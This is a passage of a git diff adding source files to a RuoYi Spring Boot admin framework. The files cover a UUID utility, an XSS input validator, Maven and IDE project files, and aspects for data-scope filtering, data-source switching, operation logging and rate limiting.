Long.decode(components[0]).longValue(); + mostSigBits <<= 16; + mostSigBits |= Long.decode(components[1]).longValue(); + mostSigBits <<= 16; + mostSigBits |= Long.decode(components[2]).longValue(); + + long leastSigBits = Long.decode(components[3]).longValue(); + leastSigBits <<= 48; + leastSigBits |= Long.decode(components[4]).longValue(); + + return new UUID(mostSigBits, leastSigBits); + } + + /** + * 返回此 UUID 的 128 位值中的最低有效 64 位。 + * + * @return 此 UUID 的 128 位值中的最低有效 64 位。 + */ + public long getLeastSignificantBits() + { + return leastSigBits; + } + + /** + * 返回此 UUID 的 128 位值中的最高有效 64 位。 + * + * @return 此 UUID 的 128 位值中最高有效 64 位。 + */ + public long getMostSignificantBits() + { + return mostSigBits; + } + + /** + * 与此 {@code UUID} 相关联的版本号. 版本号描述此 {@code UUID} 是如何生成的。 + *

+ * 版本号具有以下含意: + *

    + *
  • 1 基于时间的 UUID + *
  • 2 DCE 安全 UUID + *
  • 3 基于名称的 UUID + *
  • 4 随机生成的 UUID + *
+ * + * @return 此 {@code UUID} 的版本号 + */ + public int version() + { + // Version is bits masked by 0x000000000000F000 in MS long + return (int) ((mostSigBits >> 12) & 0x0f); + } + + /** + * 与此 {@code UUID} 相关联的变体号。变体号描述 {@code UUID} 的布局。 + *

+ * 变体号具有以下含意: + *

    + *
  • 0 为 NCS 向后兼容保留 + *
  • 2 IETF RFC 4122(Leach-Salz), 用于此类 + *
  • 6 保留,微软向后兼容 + *
  • 7 保留供以后定义使用 + *
+ * + * @return 此 {@code UUID} 相关联的变体号 + */ + public int variant() + { + // This field is composed of a varying number of bits. + // 0 - - Reserved for NCS backward compatibility + // 1 0 - The IETF aka Leach-Salz variant (used by this class) + // 1 1 0 Reserved, Microsoft backward compatibility + // 1 1 1 Reserved for future definition. + return (int) ((leastSigBits >>> (64 - (leastSigBits >>> 62))) & (leastSigBits >> 63)); + } + + /** + * 与此 UUID 相关联的时间戳值。 + * + *

+ * 60 位的时间戳值根据此 {@code UUID} 的 time_low、time_mid 和 time_hi 字段构造。
+ * 所得到的时间戳以 100 毫微秒为单位,从 UTC(通用协调时间) 1582 年 10 月 15 日零时开始。 + * + *

+ * 时间戳值仅在在基于时间的 UUID(其 version 类型为 1)中才有意义。
+ * 如果此 {@code UUID} 不是基于时间的 UUID,则此方法抛出 UnsupportedOperationException。 + * + * @throws UnsupportedOperationException 如果此 {@code UUID} 不是 version 为 1 的 UUID。 + */ + public long timestamp() throws UnsupportedOperationException + { + checkTimeBase(); + return (mostSigBits & 0x0FFFL) << 48// + | ((mostSigBits >> 16) & 0x0FFFFL) << 32// + | mostSigBits >>> 32; + } + + /** + * 与此 UUID 相关联的时钟序列值。 + * + *

+ * 14 位的时钟序列值根据此 UUID 的 clock_seq 字段构造。clock_seq 字段用于保证在基于时间的 UUID 中的时间唯一性。 + *

+ * {@code clockSequence} 值仅在基于时间的 UUID(其 version 类型为 1)中才有意义。 如果此 UUID 不是基于时间的 UUID,则此方法抛出 + * UnsupportedOperationException。 + * + * @return 此 {@code UUID} 的时钟序列 + * + * @throws UnsupportedOperationException 如果此 UUID 的 version 不为 1 + */ + public int clockSequence() throws UnsupportedOperationException + { + checkTimeBase(); + return (int) ((leastSigBits & 0x3FFF000000000000L) >>> 48); + } + + /** + * 与此 UUID 相关的节点值。 + * + *

+ * 48 位的节点值根据此 UUID 的 node 字段构造。此字段旨在用于保存机器的 IEEE 802 地址,该地址用于生成此 UUID 以保证空间唯一性。 + *

+ * 节点值仅在基于时间的 UUID(其 version 类型为 1)中才有意义。
+ * 如果此 UUID 不是基于时间的 UUID,则此方法抛出 UnsupportedOperationException。 + * + * @return 此 {@code UUID} 的节点值 + * + * @throws UnsupportedOperationException 如果此 UUID 的 version 不为 1 + */ + public long node() throws UnsupportedOperationException + { + checkTimeBase(); + return leastSigBits & 0x0000FFFFFFFFFFFFL; + } + + /** + * 返回此{@code UUID} 的字符串表现形式。 + * + *

+ * UUID 的字符串表示形式由此 BNF 描述: + * + *

+     * {@code
+     * UUID                   = ----
+     * time_low               = 4*
+     * time_mid               = 2*
+     * time_high_and_version  = 2*
+     * variant_and_sequence   = 2*
+     * node                   = 6*
+     * hexOctet               = 
+     * hexDigit               = [0-9a-fA-F]
+     * }
+     * 
+ * + * + * + * @return 此{@code UUID} 的字符串表现形式 + * @see #toString(boolean) + */ + @Override + public String toString() + { + return toString(false); + } + + /** + * 返回此{@code UUID} 的字符串表现形式。 + * + *

+ * UUID 的字符串表示形式由此 BNF 描述: + * + *

+     * {@code
+     * UUID                   = ----
+     * time_low               = 4*
+     * time_mid               = 2*
+     * time_high_and_version  = 2*
+     * variant_and_sequence   = 2*
+     * node                   = 6*
+     * hexOctet               = 
+     * hexDigit               = [0-9a-fA-F]
+     * }
+     * 
+ * + * + * + * @param isSimple 是否简单模式,简单模式为不带'-'的UUID字符串 + * @return 此{@code UUID} 的字符串表现形式 + */ + public String toString(boolean isSimple) + { + final StringBuilder builder = new StringBuilder(isSimple ? 32 : 36); + // time_low + builder.append(digits(mostSigBits >> 32, 8)); + if (!isSimple) + { + builder.append('-'); + } + // time_mid + builder.append(digits(mostSigBits >> 16, 4)); + if (!isSimple) + { + builder.append('-'); + } + // time_high_and_version + builder.append(digits(mostSigBits, 4)); + if (!isSimple) + { + builder.append('-'); + } + // variant_and_sequence + builder.append(digits(leastSigBits >> 48, 4)); + if (!isSimple) + { + builder.append('-'); + } + // node + builder.append(digits(leastSigBits, 12)); + + return builder.toString(); + } + + /** + * 返回此 UUID 的哈希码。 + * + * @return UUID 的哈希码值。 + */ + @Override + public int hashCode() + { + long hilo = mostSigBits ^ leastSigBits; + return ((int) (hilo >> 32)) ^ (int) hilo; + } + + /** + * 将此对象与指定对象比较。 + *

+ * 当且仅当参数不为 {@code null}、而是一个 UUID 对象、具有与此 UUID 相同的 varriant、包含相同的值(每一位均相同)时,结果才为 {@code true}。 + * + * @param obj 要与之比较的对象 + * + * @return 如果对象相同,则返回 {@code true};否则返回 {@code false} + */ + @Override + public boolean equals(Object obj) + { + if ((null == obj) || (obj.getClass() != UUID.class)) + { + return false; + } + UUID id = (UUID) obj; + return (mostSigBits == id.mostSigBits && leastSigBits == id.leastSigBits); + } + + // Comparison Operations + + /** + * 将此 UUID 与指定的 UUID 比较。 + * + *

+ * 如果两个 UUID 不同,且第一个 UUID 的最高有效字段大于第二个 UUID 的对应字段,则第一个 UUID 大于第二个 UUID。 + * + * @param val 与此 UUID 比较的 UUID + * + * @return 在此 UUID 小于、等于或大于 val 时,分别返回 -1、0 或 1。 + * + */ + @Override + public int compareTo(UUID val) + { + // The ordering is intentionally set up so that the UUIDs + // can simply be numerically compared as two numbers + return (this.mostSigBits < val.mostSigBits ? -1 : // + (this.mostSigBits > val.mostSigBits ? 1 : // + (this.leastSigBits < val.leastSigBits ? -1 : // + (this.leastSigBits > val.leastSigBits ? 1 : // + 0)))); + } + + // ------------------------------------------------------------------------------------------------------------------- + // Private method start + /** + * 返回指定数字对应的hex值 + * + * @param val 值 + * @param digits 位 + * @return 值 + */ + private static String digits(long val, int digits) + { + long hi = 1L << (digits * 4); + return Long.toHexString(hi | (val & (hi - 1))).substring(1); + } + + /** + * 检查是否为time-based版本UUID + */ + private void checkTimeBase() + { + if (version() != 1) + { + throw new UnsupportedOperationException("Not a time-based UUID"); + } + } + + /** + * 获取{@link SecureRandom},类提供加密的强随机数生成器 (RNG) + * + * @return {@link SecureRandom} + */ + public static SecureRandom getSecureRandom() + { + try + { + return SecureRandom.getInstance("SHA1PRNG"); + } + catch (NoSuchAlgorithmException e) + { + throw new UtilException(e); + } + } + + /** + * 获取随机数生成器对象
+ * ThreadLocalRandom是JDK 7之后提供并发产生随机数,能够解决多个线程发生的竞争争夺。 + * + * @return {@link ThreadLocalRandom} + */ + public static ThreadLocalRandom getRandom() + { + return ThreadLocalRandom.current(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/xss/Xss.java b/ruoyi-common/src/main/java/com/ruoyi/common/xss/Xss.java new file mode 100644 index 0000000..7bfdf04 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/xss/Xss.java @@ -0,0 +1,27 @@ +package com.ruoyi.common.xss; + +import javax.validation.Constraint; +import javax.validation.Payload; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * 自定义xss校验注解 + * + * @author ruoyi + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER }) +@Constraint(validatedBy = { XssValidator.class }) +public @interface Xss +{ + String message() + + default "不允许任何脚本运行"; + + Class[] groups() default {}; + + Class[] payload() default {}; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/xss/XssValidator.java b/ruoyi-common/src/main/java/com/ruoyi/common/xss/XssValidator.java new file mode 100644 index 0000000..ed9ec1f --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/xss/XssValidator.java @@ -0,0 +1,34 @@ +package com.ruoyi.common.xss; + +import com.ruoyi.common.utils.StringUtils; +import javax.validation.ConstraintValidator; +import javax.validation.ConstraintValidatorContext; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * 自定义xss校验注解实现 + * + * @author ruoyi + */ +public class XssValidator implements ConstraintValidator +{ + private static final String HTML_PATTERN = "<(\\S*?)[^>]*>.*?|<.*? />"; + + @Override + public boolean isValid(String value, ConstraintValidatorContext constraintValidatorContext) + { + if (StringUtils.isBlank(value)) + { + return true; + } + return !containsHtml(value); + } + + public static boolean containsHtml(String value) + { + Pattern pattern = Pattern.compile(HTML_PATTERN); + Matcher matcher = pattern.matcher(value); + return matcher.matches(); + } +} \ No newline at end of file diff --git a/ruoyi-framework/pom.xml b/ruoyi-framework/pom.xml new file mode 100644 index 0000000..96dcb0f --- /dev/null +++ b/ruoyi-framework/pom.xml @@ -0,0 +1,64 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + + ruoyi-framework + + + framework框架核心 + + + + + + + org.springframework.boot + spring-boot-starter-web + + + + + org.springframework.boot + spring-boot-starter-aop + + + + + com.alibaba + druid-spring-boot-starter + + + + + pro.fessional + kaptcha + + + javax.servlet-api + javax.servlet + + + + + + + com.github.oshi + oshi-core + + + + + com.ruoyi + ruoyi-system + + + + + \ No newline at end of file diff --git a/ruoyi-framework/ruoyi-framework.iml b/ruoyi-framework/ruoyi-framework.iml new file mode 100644 index 0000000..8d8c409 --- /dev/null +++ b/ruoyi-framework/ruoyi-framework.iml @@ -0,0 +1,286 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataScopeAspect.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataScopeAspect.java new file mode 100644 index 0000000..1bc2f69 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataScopeAspect.java @@ -0,0 +1,174 @@ +package com.ruoyi.framework.aspectj; + +import java.util.ArrayList; +import java.util.List; +import org.aspectj.lang.JoinPoint; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Before; +import org.springframework.stereotype.Component; +import com.ruoyi.common.annotation.DataScope; +import com.ruoyi.common.core.domain.BaseEntity; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.security.context.PermissionContextHolder; + +/** + * 数据过滤处理 + * + * @author ruoyi + */ +@Aspect +@Component +public class DataScopeAspect +{ + /** + * 全部数据权限 + */ + public static final String DATA_SCOPE_ALL = "1"; + + /** + * 自定数据权限 + */ + public static final String DATA_SCOPE_CUSTOM = "2"; + + /** + * 部门数据权限 + */ + public static final String DATA_SCOPE_DEPT = "3"; + + /** + * 部门及以下数据权限 + */ + public static final String DATA_SCOPE_DEPT_AND_CHILD = "4"; + + /** + * 仅本人数据权限 + */ + public static final String DATA_SCOPE_SELF = "5"; + + /** + * 数据权限过滤关键字 + */ + public static final String DATA_SCOPE = "dataScope"; + + @Before("@annotation(controllerDataScope)") + public void doBefore(JoinPoint point, DataScope controllerDataScope) throws Throwable + { + clearDataScope(point); + handleDataScope(point, controllerDataScope); + } + + protected void handleDataScope(final JoinPoint joinPoint, DataScope controllerDataScope) + { + // 获取当前的用户 + LoginUser loginUser = SecurityUtils.getLoginUser(); + if (StringUtils.isNotNull(loginUser)) + { + SysUser currentUser = loginUser.getUser(); + // 如果是超级管理员,则不过滤数据 + if (StringUtils.isNotNull(currentUser) && !currentUser.isAdmin()) + { + String permission = StringUtils.defaultIfEmpty(controllerDataScope.permission(), PermissionContextHolder.getContext()); + dataScopeFilter(joinPoint, currentUser, controllerDataScope.deptAlias(), + controllerDataScope.userAlias(), permission); + } + } + } + + /** + * 数据范围过滤 + * + * @param joinPoint 切点 + * @param user 用户 + * @param deptAlias 部门别名 + * @param userAlias 用户别名 + * @param permission 权限字符 + */ + public static void dataScopeFilter(JoinPoint joinPoint, SysUser user, String deptAlias, String userAlias, String permission) + { + StringBuilder sqlString = new StringBuilder(); + List conditions = new ArrayList(); + + for (SysRole role : user.getRoles()) + { + String dataScope = role.getDataScope(); + if (!DATA_SCOPE_CUSTOM.equals(dataScope) && conditions.contains(dataScope)) + { + continue; + } + if (StringUtils.isNotEmpty(permission) && StringUtils.isNotEmpty(role.getPermissions()) + && !StringUtils.containsAny(role.getPermissions(), Convert.toStrArray(permission))) + { + continue; + } + if (DATA_SCOPE_ALL.equals(dataScope)) + { + sqlString = new StringBuilder(); + conditions.add(dataScope); + break; + } + else if (DATA_SCOPE_CUSTOM.equals(dataScope)) + { + sqlString.append(StringUtils.format( + " OR {}.dept_id IN ( SELECT dept_id FROM sys_role_dept WHERE role_id = {} ) ", deptAlias, + role.getRoleId())); + } + else if (DATA_SCOPE_DEPT.equals(dataScope)) + { + sqlString.append(StringUtils.format(" OR {}.dept_id = {} ", deptAlias, user.getDeptId())); + } + else if (DATA_SCOPE_DEPT_AND_CHILD.equals(dataScope)) + { + sqlString.append(StringUtils.format( + " OR {}.dept_id IN ( SELECT dept_id FROM sys_dept WHERE dept_id = {} or find_in_set( {} , ancestors ) )", + deptAlias, user.getDeptId(), user.getDeptId())); + } + else if (DATA_SCOPE_SELF.equals(dataScope)) + { + if (StringUtils.isNotBlank(userAlias)) + { + sqlString.append(StringUtils.format(" OR {}.user_id = {} ", userAlias, user.getUserId())); + } + else + { + // 数据权限为仅本人且没有userAlias别名不查询任何数据 + sqlString.append(StringUtils.format(" OR {}.dept_id = 0 ", deptAlias)); + } + } + conditions.add(dataScope); + } + + // 多角色情况下,所有角色都不包含传递过来的权限字符,这个时候sqlString也会为空,所以要限制一下,不查询任何数据 + if (StringUtils.isEmpty(conditions)) + { + sqlString.append(StringUtils.format(" OR {}.dept_id = 0 ", deptAlias)); + } + + if (StringUtils.isNotBlank(sqlString.toString())) + { + Object params = joinPoint.getArgs()[0]; + if (StringUtils.isNotNull(params) && params instanceof BaseEntity) + { + BaseEntity baseEntity = (BaseEntity) params; + baseEntity.getParams().put(DATA_SCOPE, " AND (" + sqlString.substring(4) + ")"); + } + } + } + + /** + * 拼接权限sql前先清空params.dataScope参数防止注入 + */ + private void clearDataScope(final JoinPoint joinPoint) + { + Object params = joinPoint.getArgs()[0]; + if (StringUtils.isNotNull(params) && params instanceof BaseEntity) + { + BaseEntity baseEntity = (BaseEntity) params; + baseEntity.getParams().put(DATA_SCOPE, ""); + } + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataSourceAspect.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataSourceAspect.java new file mode 100644 index 0000000..8c2c9f4 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/DataSourceAspect.java @@ -0,0 +1,72 @@ +package com.ruoyi.framework.aspectj; + +import java.util.Objects; +import org.aspectj.lang.ProceedingJoinPoint; +import org.aspectj.lang.annotation.Around; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Pointcut; +import org.aspectj.lang.reflect.MethodSignature; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.annotation.AnnotationUtils; +import org.springframework.core.annotation.Order; +import org.springframework.stereotype.Component; +import com.ruoyi.common.annotation.DataSource; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.datasource.DynamicDataSourceContextHolder; + +/** + * 多数据源处理 + * + * @author ruoyi + */ +@Aspect +@Order(1) +@Component +public class DataSourceAspect +{ + protected Logger logger = LoggerFactory.getLogger(getClass()); + + @Pointcut("@annotation(com.ruoyi.common.annotation.DataSource)" + + "|| @within(com.ruoyi.common.annotation.DataSource)") + public void dsPointCut() + { + + } + + @Around("dsPointCut()") + public Object around(ProceedingJoinPoint point) throws Throwable + { + DataSource dataSource = getDataSource(point); + + if (StringUtils.isNotNull(dataSource)) + { + DynamicDataSourceContextHolder.setDataSourceType(dataSource.value().name()); + } + + try + { + return point.proceed(); + } + finally + { + // 销毁数据源 在执行方法之后 + DynamicDataSourceContextHolder.clearDataSourceType(); + } + } + + /** + * 获取需要切换的数据源 + */ + public DataSource getDataSource(ProceedingJoinPoint point) + { + MethodSignature signature = (MethodSignature) point.getSignature(); + DataSource dataSource = AnnotationUtils.findAnnotation(signature.getMethod(), DataSource.class); + if (Objects.nonNull(dataSource)) + { + return dataSource; + } + + return AnnotationUtils.findAnnotation(signature.getDeclaringType(), DataSource.class); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/LogAspect.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/LogAspect.java new file mode 100644 index 0000000..5980eb7 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/LogAspect.java @@ -0,0 +1,249 @@ +package com.ruoyi.framework.aspectj; + +import java.util.Collection; +import java.util.Map; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.lang3.ArrayUtils; +import org.aspectj.lang.JoinPoint; +import org.aspectj.lang.annotation.AfterReturning; +import org.aspectj.lang.annotation.AfterThrowing; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Before; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.NamedThreadLocal; +import org.springframework.stereotype.Component; +import org.springframework.validation.BindingResult; +import org.springframework.web.multipart.MultipartFile; +import com.alibaba.fastjson2.JSON; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.enums.BusinessStatus; +import com.ruoyi.common.enums.HttpMethod; +import com.ruoyi.common.filter.PropertyPreExcludeFilter; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.ServletUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.framework.manager.AsyncManager; +import com.ruoyi.framework.manager.factory.AsyncFactory; +import com.ruoyi.system.domain.SysOperLog; + +/** + * 操作日志记录处理 + * + * @author ruoyi + */ +@Aspect +@Component +public class LogAspect +{ + private static final Logger log = LoggerFactory.getLogger(LogAspect.class); + + /** 排除敏感属性字段 */ + public static final String[] EXCLUDE_PROPERTIES = { "password", "oldPassword", "newPassword", "confirmPassword" }; + + /** 计算操作消耗时间 */ + private static final ThreadLocal TIME_THREADLOCAL = new NamedThreadLocal("Cost Time"); + + /** + * 处理请求前执行 + */ + @Before(value = "@annotation(controllerLog)") + public void boBefore(JoinPoint joinPoint, Log controllerLog) + { + TIME_THREADLOCAL.set(System.currentTimeMillis()); + } + + /** + * 处理完请求后执行 + * + * @param joinPoint 切点 + */ + @AfterReturning(pointcut = "@annotation(controllerLog)", returning = "jsonResult") + public void doAfterReturning(JoinPoint joinPoint, Log controllerLog, Object jsonResult) + { + handleLog(joinPoint, controllerLog, null, jsonResult); + } + + /** + * 拦截异常操作 + * + * @param joinPoint 切点 + * @param e 异常 + */ + @AfterThrowing(value = "@annotation(controllerLog)", throwing = "e") + public void doAfterThrowing(JoinPoint joinPoint, Log controllerLog, Exception e) + { + handleLog(joinPoint, controllerLog, e, null); + } + + protected void handleLog(final JoinPoint joinPoint, Log controllerLog, final Exception e, Object jsonResult) + { + try + { + // 获取当前的用户 + LoginUser loginUser = SecurityUtils.getLoginUser(); + + // *========数据库日志=========*// + SysOperLog operLog = new SysOperLog(); + operLog.setStatus(BusinessStatus.SUCCESS.ordinal()); + // 请求的地址 + String ip = IpUtils.getIpAddr(); + operLog.setOperIp(ip); + operLog.setOperUrl(StringUtils.substring(ServletUtils.getRequest().getRequestURI(), 0, 255)); + if (loginUser != null) + { + operLog.setOperName(loginUser.getUsername()); + } + + if (e != null) + { + operLog.setStatus(BusinessStatus.FAIL.ordinal()); + operLog.setErrorMsg(StringUtils.substring(e.getMessage(), 0, 2000)); + } + // 设置方法名称 + String className = joinPoint.getTarget().getClass().getName(); + String methodName = joinPoint.getSignature().getName(); + operLog.setMethod(className + "." + methodName + "()"); + // 设置请求方式 + operLog.setRequestMethod(ServletUtils.getRequest().getMethod()); + // 处理设置注解上的参数 + getControllerMethodDescription(joinPoint, controllerLog, operLog, jsonResult); + // 设置消耗时间 + operLog.setCostTime(System.currentTimeMillis() - TIME_THREADLOCAL.get()); + // 保存数据库 + AsyncManager.me().execute(AsyncFactory.recordOper(operLog)); + } + catch (Exception exp) + { + // 记录本地异常日志 + log.error("异常信息:{}", exp.getMessage()); + exp.printStackTrace(); + } + finally + { + TIME_THREADLOCAL.remove(); + } + } + + /** + * 获取注解中对方法的描述信息 用于Controller层注解 + * + * @param log 日志 + * @param operLog 操作日志 + * @throws Exception + */ + public void getControllerMethodDescription(JoinPoint joinPoint, Log log, SysOperLog operLog, Object jsonResult) throws Exception + { + // 设置action动作 + operLog.setBusinessType(log.businessType().ordinal()); + // 设置标题 + operLog.setTitle(log.title()); + // 设置操作人类别 + operLog.setOperatorType(log.operatorType().ordinal()); + // 是否需要保存request,参数和值 + if (log.isSaveRequestData()) + { + // 获取参数的信息,传入到数据库中。 + setRequestValue(joinPoint, operLog, log.excludeParamNames()); + } + // 是否需要保存response,参数和值 + if (log.isSaveResponseData() && StringUtils.isNotNull(jsonResult)) + { + operLog.setJsonResult(StringUtils.substring(JSON.toJSONString(jsonResult), 0, 2000)); + } + } + + /** + * 获取请求的参数,放到log中 + * + * @param operLog 操作日志 + * @throws Exception 异常 + */ + private void setRequestValue(JoinPoint joinPoint, SysOperLog operLog, String[] excludeParamNames) throws Exception + { + Map paramsMap = ServletUtils.getParamMap(ServletUtils.getRequest()); + String requestMethod = operLog.getRequestMethod(); + if (StringUtils.isEmpty(paramsMap) + && (HttpMethod.PUT.name().equals(requestMethod) || HttpMethod.POST.name().equals(requestMethod))) + { + String params = argsArrayToString(joinPoint.getArgs(), excludeParamNames); + operLog.setOperParam(StringUtils.substring(params, 0, 2000)); + } + else + { + operLog.setOperParam(StringUtils.substring(JSON.toJSONString(paramsMap, excludePropertyPreFilter(excludeParamNames)), 0, 2000)); + } + } + + /** + * 参数拼装 + */ + private String argsArrayToString(Object[] paramsArray, String[] excludeParamNames) + { + String params = ""; + if (paramsArray != null && paramsArray.length > 0) + { + for (Object o : paramsArray) + { + if (StringUtils.isNotNull(o) && !isFilterObject(o)) + { + try + { + String jsonObj = JSON.toJSONString(o, excludePropertyPreFilter(excludeParamNames)); + params += jsonObj.toString() + " "; + } + catch (Exception e) + { + } + } + } + } + return params.trim(); + } + + /** + * 忽略敏感属性 + */ + public PropertyPreExcludeFilter excludePropertyPreFilter(String[] excludeParamNames) + { + return new PropertyPreExcludeFilter().addExcludes(ArrayUtils.addAll(EXCLUDE_PROPERTIES, excludeParamNames)); + } + + /** + * 判断是否需要过滤的对象。 + * + * @param o 对象信息。 + * @return 如果是需要过滤的对象,则返回true;否则返回false。 + */ + @SuppressWarnings("rawtypes") + public boolean isFilterObject(final Object o) + { + Class clazz = o.getClass(); + if (clazz.isArray()) + { + return clazz.getComponentType().isAssignableFrom(MultipartFile.class); + } + else if (Collection.class.isAssignableFrom(clazz)) + { + Collection collection = (Collection) o; + for (Object value : collection) + { + return value instanceof MultipartFile; + } + } + else if (Map.class.isAssignableFrom(clazz)) + { + Map map = (Map) o; + for (Object value : map.entrySet()) + { + Map.Entry entry = (Map.Entry) value; + return entry.getValue() instanceof MultipartFile; + } + } + return o instanceof MultipartFile || o instanceof HttpServletRequest || o instanceof HttpServletResponse + || o instanceof BindingResult; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/RateLimiterAspect.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/RateLimiterAspect.java new file mode 100644 index 0000000..bce8aa1 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/aspectj/RateLimiterAspect.java @@ -0,0 +1,89 @@ +package com.ruoyi.framework.aspectj; + +import java.lang.reflect.Method; +import java.util.Collections; +import java.util.List; +import org.aspectj.lang.JoinPoint; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Before; +import org.aspectj.lang.reflect.MethodSignature; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.redis.core.RedisTemplate; +import org.springframework.data.redis.core.script.RedisScript; +import org.springframework.stereotype.Component; +import com.ruoyi.common.annotation.RateLimiter; +import com.ruoyi.common.enums.LimitType; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.ip.IpUtils; + +/** + * 限流处理 + * + * @author ruoyi + */ +@Aspect +@Component +public class RateLimiterAspect +{ + private static final Logger log = LoggerFactory.getLogger(RateLimiterAspect.class); + + private RedisTemplate redisTemplate; + + private RedisScript limitScript; + + @Autowired + public void setRedisTemplate1(RedisTemplate redisTemplate) + { + this.redisTemplate = redisTemplate; + } + + @Autowired + public void setLimitScript(RedisScript limitScript) + { + this.limitScript = limitScript; + } + + @Before("@annotation(rateLimiter)") + public void doBefore(JoinPoint point, RateLimiter rateLimiter) throws Throwable + { + int time = rateLimiter.time(); + int count = rateLimiter.count(); + + String combineKey = getCombineKey(rateLimiter, point); + List keys = Collections.singletonList(combineKey); + try + { + Long number = redisTemplate.execute(limitScript, keys, count, time); + if (StringUtils.isNull(number) || number.intValue() > count) + { + throw new ServiceException("访问过于频繁,请稍候再试"); + } + log.debug("限制请求'{}',当前请求'{}',缓存key'{}'", count, number.intValue(), combineKey); + } + catch (ServiceException e) + { + throw e; + } + catch (Exception e) + { + throw new RuntimeException("服务器限流异常,请稍候再试"); + } + } + + public String getCombineKey(RateLimiter rateLimiter, JoinPoint point) + { + StringBuffer stringBuffer = new StringBuffer(rateLimiter.key()); + if (rateLimiter.limitType() == LimitType.IP) + { + stringBuffer.append(IpUtils.getIpAddr()).append("-"); + } + MethodSignature signature = (MethodSignature) point.getSignature(); + Method method = signature.getMethod(); + Class targetClass = method.getDeclaringClass(); + stringBuffer.append(targetClass.getName()).append("-").append(method.getName()); + return stringBuffer.toString(); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ApplicationConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ApplicationConfig.java new file mode 100644 index 0000000..1d4dc1f --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ApplicationConfig.java @@ -0,0 +1,30 @@ +package com.ruoyi.framework.config; + +import java.util.TimeZone; +import org.mybatis.spring.annotation.MapperScan; +import org.springframework.boot.autoconfigure.jackson.Jackson2ObjectMapperBuilderCustomizer; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.EnableAspectJAutoProxy; + +/** + * 程序注解配置 + * + * @author ruoyi + */ +@Configuration +// 表示通过aop框架暴露该代理对象,AopContext能够访问 +@EnableAspectJAutoProxy(exposeProxy = true) +// 指定要扫描的Mapper类的包的路径 +@MapperScan("com.ruoyi.**.mapper") +public class ApplicationConfig +{ + /** + * 时区配置 + */ + @Bean + public Jackson2ObjectMapperBuilderCustomizer jacksonObjectMapperCustomization() + { + return jacksonObjectMapperBuilder -> jacksonObjectMapperBuilder.timeZone(TimeZone.getDefault()); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/CaptchaConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/CaptchaConfig.java new file mode 100644 index 0000000..43e78ae --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/CaptchaConfig.java @@ -0,0 +1,83 @@ +package com.ruoyi.framework.config; + +import java.util.Properties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import com.google.code.kaptcha.impl.DefaultKaptcha; +import com.google.code.kaptcha.util.Config; +import static com.google.code.kaptcha.Constants.*; + +/** + * 验证码配置 + * 